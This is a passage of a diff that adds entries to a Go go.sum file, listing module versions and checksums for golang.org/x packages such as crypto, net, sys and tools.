h1:wR5kodmAFQ0UK8QlbwjlSNy0Z68gJhDJUG5sjR94q/0= +go.uber.org/zap v1.10.0/go.mod h1:vwi/ZaCAaUcBkycHslxD9B2zi4UTXhF60s6SWpuDF0Q= +golang.org/x/crypto v0.0.0-20180904163835-0709b304e793/go.mod h1:6SG95UA2DQfeDnfUPMdvaQW0Q7yPrPDi9nlGo2tz2b4= +golang.org/x/crypto v0.0.0-20181025213731-e84da0312774/go.mod h1:6SG95UA2DQfeDnfUPMdvaQW0Q7yPrPDi9nlGo2tz2b4= +golang.org/x/crypto v0.0.0-20190308221718-c2843e01d9a2/go.mod h1:djNgcEr1/C05ACkg1iLfiJU5Ep61QUkGW8qpdssI0+w= +golang.org/x/crypto v0.0.0-20190510104115-cbcb75029529/go.mod h1:yigFU9vqHzYiE8UmvKecakEJjdnWj3jj499lnFckfCI= +golang.org/x/crypto v0.0.0-20190605123033-f99c8df09eb5/go.mod h1:yigFU9vqHzYiE8UmvKecakEJjdnWj3jj499lnFckfCI= +golang.org/x/crypto v0.0.0-20191011191535-87dc89f01550/go.mod h1:yigFU9vqHzYiE8UmvKecakEJjdnWj3jj499lnFckfCI= +golang.org/x/crypto v0.0.0-20200622213623-75b288015ac9/go.mod h1:LzIPMQfyMNhhGPhUkYOs5KpL4U8rLKemX1yGLhDgUto= +golang.org/x/crypto v0.0.0-20210421170649-83a5a9bb288b/go.mod h1:T9bdIzuCu7OtxOm1hfPfRQxPLYneinmdGuTeoZ9dtd4= +golang.org/x/crypto v0.0.0-20211108221036-ceb1ce70b4fa/go.mod h1:GvvjBRRGRdwPK5ydBHafDWAxML/pGHZbMvKqRZ5+Abc= +golang.org/x/crypto v0.14.0 h1:wBqGXzWJW6m1XrIKlAH0Hs1JJ7+9KBwnIO8v66Q9cHc= +golang.org/x/crypto v0.14.0/go.mod h1:MVFd36DqK4CsrnJYDkBA3VC4m2GkXAM0PvzMCn4JQf4= +golang.org/x/exp v0.0.0-20190121172915-509febef88a4/go.mod h1:CJ0aWSM057203Lf6IL+f9T1iT9GByDxfZKAQTCR3kQA= +golang.org/x/exp v0.0.0-20190306152737-a1d7652674e8/go.mod h1:CJ0aWSM057203Lf6IL+f9T1iT9GByDxfZKAQTCR3kQA= +golang.org/x/exp v0.0.0-20190510132918-efd6b22b2522/go.mod h1:ZjyILWgesfNpC6sMxTJOJm9Kp84zZh5NQWvqDGG3Qr8= +golang.org/x/exp v0.0.0-20190829153037-c13cbed26979/go.mod h1:86+5VVa7VpoJ4kLfm080zCjGlMRFzhUhsZKEZO7MGek= +golang.org/x/exp v0.0.0-20191030013958-a1ab85dbe136/go.mod h1:JXzH8nQsPlswgeRAPE3MuO9GYsAcnJvJ4vnMwN/5qkY= +golang.org/x/exp v0.0.0-20191129062945-2f5052295587/go.mod h1:2RIsYlXP63K8oxa1u096TMicItID8zy7Y6sNkU49FU4= +golang.org/x/exp v0.0.0-20191227195350-da58074b4299/go.mod h1:2RIsYlXP63K8oxa1u096TMicItID8zy7Y6sNkU49FU4= +golang.org/x/exp v0.0.0-20200119233911-0405dc783f0a/go.mod h1:2RIsYlXP63K8oxa1u096TMicItID8zy7Y6sNkU49FU4= +golang.org/x/exp v0.0.0-20200207192155-f17229e696bd/go.mod h1:J/WKrq2StrnmMY6+EHIKF9dgMWnmCNThgcyBT1FY9mM= +golang.org/x/exp v0.0.0-20200224162631-6cc2880d07d6/go.mod h1:3jZMyOhIsHpP37uCMkUooju7aAi5cS1Q23tOzKc+0MU= +golang.org/x/image v0.0.0-20190227222117-0694c2d4d067/go.mod h1:kZ7UVZpmo3dzQBMxlp+ypCbDeSB+sBbTgSJuh5dn5js= +golang.org/x/image v0.0.0-20190802002840-cff245a6509b/go.mod h1:FeLwcggjj3mMvU+oOTbSwawSJRM1uh48EjtB4UJZlP0= +golang.org/x/lint v0.0.0-20181026193005-c67002cb31c3/go.mod h1:UVdnD1Gm6xHRNCYTkRU2/jEulfH38KcIWyp/GAMgvoE= +golang.org/x/lint v0.0.0-20190227174305-5b3e6a55c961/go.mod h1:wehouNa3lNwaWXcvxsM5YxQ5yQlVC4a0KAMCusXpPoU= +golang.org/x/lint v0.0.0-20190301231843-5614ed5bae6f/go.mod h1:UVdnD1Gm6xHRNCYTkRU2/jEulfH38KcIWyp/GAMgvoE= +golang.org/x/lint v0.0.0-20190313153728-d0100b6bd8b3/go.mod h1:6SW0HCj/g11FgYtHlgUYUwCkIfeOF89ocIRzGO/8vkc= +golang.org/x/lint v0.0.0-20190409202823-959b441ac422/go.mod h1:6SW0HCj/g11FgYtHlgUYUwCkIfeOF89ocIRzGO/8vkc= +golang.org/x/lint v0.0.0-20190909230951-414d861bb4ac/go.mod h1:6SW0HCj/g11FgYtHlgUYUwCkIfeOF89ocIRzGO/8vkc= +golang.org/x/lint v0.0.0-20190930215403-16217165b5de/go.mod h1:6SW0HCj/g11FgYtHlgUYUwCkIfeOF89ocIRzGO/8vkc= +golang.org/x/lint v0.0.0-20191125180803-fdd1cda4f05f/go.mod h1:5qLYkcX4OjUUV8bRuDixDT3tpyyb+LUpUlRWLxfhWrs= +golang.org/x/lint v0.0.0-20200130185559-910be7a94367/go.mod h1:3xt1FjdF8hUf6vQPIChWIBhFzV8gjjsPE/fR3IyQdNY= +golang.org/x/lint v0.0.0-20200302205851-738671d3881b/go.mod h1:3xt1FjdF8hUf6vQPIChWIBhFzV8gjjsPE/fR3IyQdNY= +golang.org/x/lint v0.0.0-20201208152925-83fdc39ff7b5/go.mod h1:3xt1FjdF8hUf6vQPIChWIBhFzV8gjjsPE/fR3IyQdNY= +golang.org/x/mobile v0.0.0-20190312151609-d3739f865fa6/go.mod h1:z+o9i4GpDbdi3rU15maQ/Ox0txvL9dWGYEHz965HBQE= +golang.org/x/mobile v0.0.0-20190719004257-d2bd2a29d028/go.mod h1:E/iHnbuqvinMTCcRqshq8CkpyQDoeVncDDYHnLhea+o= +golang.org/x/mod v0.0.0-20190513183733-4bf6d317e70e/go.mod h1:mXi4GBBbnImb6dmsKGUJ2LatrhH/nqhxcFungHvyanc= +golang.org/x/mod v0.1.0/go.mod h1:0QHyrYULN0/3qlju5TqG8bIK38QM8yzMo5ekMj3DlcY= +golang.org/x/mod v0.1.1-0.20191105210325-c90efee705ee/go.mod h1:QqPTAvyqsEbceGzBzNggFXnrqF1CaUcvgkdR5Ot7KZg= +golang.org/x/mod v0.1.1-0.20191107180719-034126e5016b/go.mod h1:QqPTAvyqsEbceGzBzNggFXnrqF1CaUcvgkdR5Ot7KZg= +golang.org/x/mod v0.2.0/go.mod h1:s0Qsj1ACt9ePp/hMypM3fl4fZqREWJwdYDEqhRiZZUA= +golang.org/x/mod v0.3.0/go.mod h1:s0Qsj1ACt9ePp/hMypM3fl4fZqREWJwdYDEqhRiZZUA= +golang.org/x/mod v0.4.0/go.mod h1:s0Qsj1ACt9ePp/hMypM3fl4fZqREWJwdYDEqhRiZZUA= +golang.org/x/mod v0.4.1/go.mod h1:s0Qsj1ACt9ePp/hMypM3fl4fZqREWJwdYDEqhRiZZUA= +golang.org/x/net v0.0.0-20180724234803-3673e40ba225/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4= +golang.org/x/net v0.0.0-20180826012351-8a410e7b638d/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4= +golang.org/x/net v0.0.0-20181114220301-adae6a3d119a/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4= +golang.org/x/net v0.0.0-20190108225652-1e06a53dbb7e/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4= +golang.org/x/net v0.0.0-20190213061140-3a22650c66bd/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4= +golang.org/x/net v0.0.0-20190311183353-d8887717615a/go.mod h1:t9HGtf8HONx5eT2rtn7q6eTqICYqUVnKs3thJo3Qplg= +golang.org/x/net v0.0.0-20190404232315-eb5bcb51f2a3/go.mod h1:t9HGtf8HONx5eT2rtn7q6eTqICYqUVnKs3thJo3Qplg= +golang.org/x/net v0.0.0-20190501004415-9ce7a6920f09/go.mod h1:t9HGtf8HONx5eT2rtn7q6eTqICYqUVnKs3thJo3Qplg= +golang.org/x/net v0.0.0-20190503192946-f4e77d36d62c/go.mod h1:t9HGtf8HONx5eT2rtn7q6eTqICYqUVnKs3thJo3Qplg= +golang.org/x/net v0.0.0-20190603091049-60506f45cf65/go.mod h1:HSz+uSET+XFnRR8LxR5pz3Of3rY3CfYBVs4xY44aLks= +golang.org/x/net v0.0.0-20190613194153-d28f0bde5980/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s= +golang.org/x/net v0.0.0-20190620200207-3b0461eec859/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s= +golang.org/x/net v0.0.0-20190628185345-da137c7871d7/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s= +golang.org/x/net v0.0.0-20190724013045-ca1201d0de80/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s= +golang.org/x/net v0.0.0-20191209160850-c0dbc17a3553/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s= +golang.org/x/net v0.0.0-20200114155413-6afb5195e5aa/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s= +golang.org/x/net v0.0.0-20200202094626-16171245cfb2/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s= +golang.org/x/net v0.0.0-20200222125558-5a598a2470a0/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s= +golang.org/x/net v0.0.0-20200226121028-0de0cce0169b/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s= +golang.org/x/net v0.0.0-20200301022130-244492dfa37a/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s= +golang.org/x/net v0.0.0-20200324143707-d3edc9973b7e/go.mod h1:qpuaurCH72eLCgpAm/N6yyVIVM9cpaDIP3A8BGJEC5A= +golang.org/x/net v0.0.0-20200501053045-e0ff5e5a1de5/go.mod h1:qpuaurCH72eLCgpAm/N6yyVIVM9cpaDIP3A8BGJEC5A= +golang.org/x/net v0.0.0-20200506145744-7e3656a0809f/go.mod h1:qpuaurCH72eLCgpAm/N6yyVIVM9cpaDIP3A8BGJEC5A= +golang.org/x/net v0.0.0-20200513185701-a91f0712d120/go.mod h1:qpuaurCH72eLCgpAm/N6yyVIVM9cpaDIP3A8BGJEC5A= +golang.org/x/net v0.0.0-20200520182314-0ba52f642ac2/go.mod h1:qpuaurCH72eLCgpAm/N6yyVIVM9cpaDIP3A8BGJEC5A= +golang.org/x/net v0.0.0-20200625001655-4c5254603344/go.mod h1:/O7V0waA8r7cgGh81Ro3o1hOxt32SMVPicZroKQ2sZA= +golang.org/x/net v0.0.0-20200707034311-ab3426394381/go.mod h1:/O7V0waA8r7cgGh81Ro3o1hOxt32SMVPicZroKQ2sZA= +golang.org/x/net v0.0.0-20200822124328-c89045814202/go.mod h1:/O7V0waA8r7cgGh81Ro3o1hOxt32SMVPicZroKQ2sZA= +golang.org/x/net v0.0.0-20201021035429-f5854403a974/go.mod h1:sp8m0HH+o8qH0wwXwYZr8TS3Oi6o0r6Gce1SSxlDquU= +golang.org/x/net v0.0.0-20201031054903-ff519b6c9102/go.mod h1:sp8m0HH+o8qH0wwXwYZr8TS3Oi6o0r6Gce1SSxlDquU= +golang.org/x/net v0.0.0-20201209123823-ac852fbbde11/go.mod h1:m0MpNAwzfU5UDzcl9v0D8zg8gWTRqZa9RBIspLL5mdg= +golang.org/x/net v0.0.0-20201224014010-6772e930b67b/go.mod h1:m0MpNAwzfU5UDzcl9v0D8zg8gWTRqZa9RBIspLL5mdg= +golang.org/x/net v0.0.0-20210226172049-e18ecbb05110/go.mod h1:m0MpNAwzfU5UDzcl9v0D8zg8gWTRqZa9RBIspLL5mdg= +golang.org/x/net v0.0.0-20210525063256-abc453219eb5/go.mod h1:9nx3DQGgdP8bBQD5qxJ1jj9UTztislL4KSBs9R2vV5Y= +golang.org/x/net v0.17.0 h1:pVaXccu2ozPjCXewfr1S7xza/zcXTity9cCdXQYSjIM= +golang.org/x/net v0.17.0/go.mod h1:NxSsAGuq816PNPmqtQdLE42eU2Fs7NoRIZrHJAlaCOE= +golang.org/x/oauth2 v0.0.0-20180821212333-d2e6202438be/go.mod h1:N/0e6XlmueqKjAGxoOufVs8QHGRruUQn6yWY3a++T0U= +golang.org/x/oauth2 v0.0.0-20190226205417-e64efc72b421/go.mod h1:gOpvHmFTYa4IltrdGE7lF6nIHvwfUNPOp7c8zoXwtLw= +golang.org/x/oauth2 v0.0.0-20190604053449-0f29369cfe45/go.mod h1:gOpvHmFTYa4IltrdGE7lF6nIHvwfUNPOp7c8zoXwtLw= +golang.org/x/oauth2 v0.0.0-20191202225959-858c2ad4c8b6/go.mod h1:gOpvHmFTYa4IltrdGE7lF6nIHvwfUNPOp7c8zoXwtLw= +golang.org/x/oauth2 v0.0.0-20200107190931-bf48bf16ab8d/go.mod h1:gOpvHmFTYa4IltrdGE7lF6nIHvwfUNPOp7c8zoXwtLw= +golang.org/x/oauth2 v0.0.0-20200902213428-5d25da1a8d43/go.mod h1:KelEdhl1UZF7XfJ4dDtk6s++YSgaE7mD/BuKKDLBl4A= +golang.org/x/oauth2 v0.0.0-20201109201403-9fd604954f58/go.mod h1:KelEdhl1UZF7XfJ4dDtk6s++YSgaE7mD/BuKKDLBl4A= +golang.org/x/oauth2 v0.0.0-20201208152858-08078c50e5b5/go.mod h1:KelEdhl1UZF7XfJ4dDtk6s++YSgaE7mD/BuKKDLBl4A= +golang.org/x/oauth2 v0.0.0-20210218202405-ba52d332ba99/go.mod h1:KelEdhl1UZF7XfJ4dDtk6s++YSgaE7mD/BuKKDLBl4A= +golang.org/x/oauth2 v0.0.0-20210514164344-f6687ab2804c/go.mod h1:KelEdhl1UZF7XfJ4dDtk6s++YSgaE7mD/BuKKDLBl4A= +golang.org/x/sync v0.0.0-20180314180146-1d60e4601c6f/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= +golang.org/x/sync v0.0.0-20181108010431-42b317875d0f/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= +golang.org/x/sync v0.0.0-20181221193216-37e7f081c4d4/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= +golang.org/x/sync v0.0.0-20190227155943-e225da77a7e6/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= +golang.org/x/sync v0.0.0-20190423024810-112230192c58/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= +golang.org/x/sync v0.0.0-20190911185100-cd5d95a43a6e/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= +golang.org/x/sync v0.0.0-20200317015054-43a5402ce75a/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= +golang.org/x/sync v0.0.0-20200625203802-6e8e738ad208/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= +golang.org/x/sync v0.0.0-20201020160332-67f06af15bc9/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= +golang.org/x/sync v0.0.0-20201207232520-09787c993a3a/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= +golang.org/x/sys v0.0.0-20180830151530-49385e6e1522/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= +golang.org/x/sys v0.0.0-20180905080454-ebe1bf3edb33/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= +golang.org/x/sys v0.0.0-20181026203630-95b1ffbd15a5/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= +golang.org/x/sys v0.0.0-20181116152217-5ac8a444bdc5/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= +golang.org/x/sys v0.0.0-20190215142949-d0b11bdaac8a/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= +golang.org/x/sys v0.0.0-20190312061237-fead79001313/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20190412213103-97732733099d/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20190422165155-953cdadca894/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20190502145724-3ef323f4f1fd/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20190507160741-ecd444e8653b/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20190606165138-5da285871e9c/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20190624142023-c5567b49c5d0/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20190726091711-fc99dfbffb4e/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20191001151750-bb3f8db39f24/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20191204072324-ce4227a45e2e/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20191228213918-04cbcbbfeed8/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20200106162015-b016eb3dc98e/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20200113162924-86b910548bc1/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20200122134326-e047566fdf82/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20200202164722-d101bd2416d5/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20200212091648-12a6c2dcc1e4/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20200223170610-d5e6a3e2c0ae/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20200302150141-5c8b2ff67527/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20200323222414-85ca7c5b95cd/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20200331124033-c3d80250170d/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20200501052902-10377860bb8e/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20200511232937-7e40ca221e25/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20200515095857-1151b9dac4a9/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20200523222454-059865788121/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20200615200032-f1bc736245b1/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20200625212154-ddb9806d33ae/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20200803210538-64077c9b5642/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20200905004654-be1d3432aa8f/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20200930185726-fdedc70b468f/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20201119102817-f84b799fce68/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20201201145000-ef89a241ccb3/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20210104204734-6f8348627aad/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20210119212857-b64e53b001e4/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20210124154548-22da62e12c0c/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20210225134936-a50acf3fe073/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20210423082822-04245dca01da/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20210423185535-09eb48e85fd7/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20210603081109-ebe580a85c40/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +golang.org/x/sys v0.0.0-20210615035016-665e8c7367d1/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +golang.org/x/sys v0.0.0-20220114195835-da31bd327af9/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +golang.org/x/sys v0.0.0-20220908164124-27713097b956/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +golang.org/x/sys v0.13.0 h1:Af8nKPmuFypiUBjVoU9V20FiaFXOcuZI21p0ycVYYGE= +golang.org/x/sys v0.13.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +golang.org/x/term v0.0.0-20201126162022-7de9c90e9dd1/go.mod h1:bj7SfCRtBDWHUb9snDiAeCFNEtKQo2Wmx5Cou7ajbmo= +golang.org/x/term v0.13.0 h1:bb+I9cTfFazGW51MZqBVmZy7+JEJMouUHTUSKVQLBek= +golang.org/x/term v0.13.0/go.mod h1:LTmsnFJwVN6bCy1rVCoS+qHT1HhALEFxKncY3WNNh4U= +golang.org/x/text v0.0.0-20170915032832-14c0d48ead0c/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ= +golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ= +golang.org/x/text v0.3.1-0.20180807135948-17ff2d5776d2/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ= +golang.org/x/text v0.3.2/go.mod h1:bEr9sfX3Q8Zfm5fL9x+3itogRgK3+ptLWKqgva+5dAk= +golang.org/x/text v0.3.3/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ= +golang.org/x/text v0.3.4/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ= +golang.org/x/text v0.3.6/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ= +golang.org/x/text v0.13.0 h1:ablQoSUd0tRdKxZewP80B+BaqeKJuVhuRxj/dkrun3k= +golang.org/x/text v0.13.0/go.mod h1:TvPlkZtksWOMsz7fbANvkp4WM8x/WCo/om8BMLbz+aE= +golang.org/x/time v0.0.0-20181108054448-85acf8d2951c/go.mod h1:tRJNPiyCQ0inRvYxbN9jk5I+vvW/OXSQhTDSoE431IQ= +golang.org/x/time v0.0.0-20190308202827-9d24e82272b4/go.mod h1:tRJNPiyCQ0inRvYxbN9jk5I+vvW/OXSQhTDSoE431IQ= +golang.org/x/time v0.0.0-20191024005414-555d28b269f0/go.mod h1:tRJNPiyCQ0inRvYxbN9jk5I+vvW/OXSQhTDSoE431IQ= +golang.org/x/tools v0.0.0-20180917221912-90fa682c2a6e/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ= +golang.org/x/tools v0.0.0-20190114222345-bf090417da8b/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ= +golang.org/x/tools v0.0.0-20190226205152-f727befe758c/go.mod h1:9Yl7xja0Znq3iFh3HoIrodX9oNMXvdceNzlUR8zjMvY= +golang.org/x/tools v0.0.0-20190311212946-11955173bddd/go.mod h1:LCzVGOaR6xXOjkQ3onu1FJEFr0SW1gC7cKk1uF8kGRs= +golang.org/x/tools v0.0.0-20190312151545-0bb0c0a6e846/go.mod h1:LCzVGOaR6xXOjkQ3onu1FJEFr0SW1gC7cKk1uF8kGRs= +golang.org/x/tools v0.0.0-20190312170243-e65039ee4138/go.mod h1:LCzVGOaR6xXOjkQ3onu1FJEFr0SW1gC7cKk1uF8kGRs= +golang.org/x/tools v0.0.0-20190425150028-36563e24a262/go.mod h1:RgjU9mgBXZiqYHBnxXauZ1Gv1EHHAz9KjViQ78xBX0Q= +golang.org/x/tools v0.0.0-20190506145303-2d16b83fe98c/go.mod h1:RgjU9mgBXZiqYHBnxXauZ1Gv1EHHAz9KjViQ78xBX0Q= +golang.org/x/tools v0.0.0-20190524140312-2c0ae7006135/go.mod h1:RgjU9mgBXZiqYHBnxXauZ1Gv1EHHAz9KjViQ78xBX0Q= +golang.org/x/tools v0.0.0-20190606124116-d0a3d012864b/go.mod h1:/rFqwRUd4F7ZHNgwSSTFct+R/Kf4OFW1sUzUTQQTgfc= +golang.org/x/tools v0.0.0-20190621195816-6e04913cbbac/go.mod h1:/rFqwRUd4F7ZHNgwSSTFct+R/Kf4OFW1sUzUTQQTgfc= +golang.org/x/tools v0.0.0-20190628153133-6cdbf07be9d0/go.mod h1:/rFqwRUd4F7ZHNgwSSTFct+R/Kf4OFW1sUzUTQQTgfc= +golang.org/x/tools v0.0.0-20190816200558-6889da9d5479/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo= +golang.org/x/tools v0.0.0-20190911174233-4f2ddba30aff/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo= +golang.org/x/tools v0.0.0-20191012152004-8de300cfc20a/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo= +golang.org/x/tools v0.0.0-20191113191852-77e3bb0ad9e7/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo= +golang.org/x/tools v0.0.0-20191115202509-3a792d9c32b2/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo= +golang.org/x/tools v0.0.0-20191119224855-298f0cb1881e/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo= +golang.org/x/tools v0.0.0-20191125144606-a911d9008d1f/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo= +golang.org/x/tools v0.0.0-20191130070609-6e064ea0cf2d/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo= +golang.org/x/tools v0.0.0-20191216173652-a0e659d51361/go.mod h1:TB2adYChydJhpapKDTa4BR/hXlZSLoq2Wpct/0txZ28= +golang.org/x/tools v0.0.0-20191227053925-7b8e75db28f4/go.mod h1:TB2adYChydJhpapKDTa4BR/hXlZSLoq2Wpct/0txZ28= +golang.org/x/tools v0.0.0-20200117161641-43d50277825c/go.mod h1:TB2adYChydJhpapKDTa4BR/hXlZSLoq2Wpct/0txZ28= +golang.org/x/tools v0.0.0-20200122220014-bf1340f18c4a/go.mod h1:TB2adYChydJhpapKDTa4BR/hXlZSLoq2Wpct/0txZ28= +golang.org/x/tools v0.0.0-20200130002326-2f3ba24bd6e7/go.mod h1:TB2adYChydJhpapKDTa4BR/hXlZSLoq2Wpct/0txZ28= +golang.org/x/tools 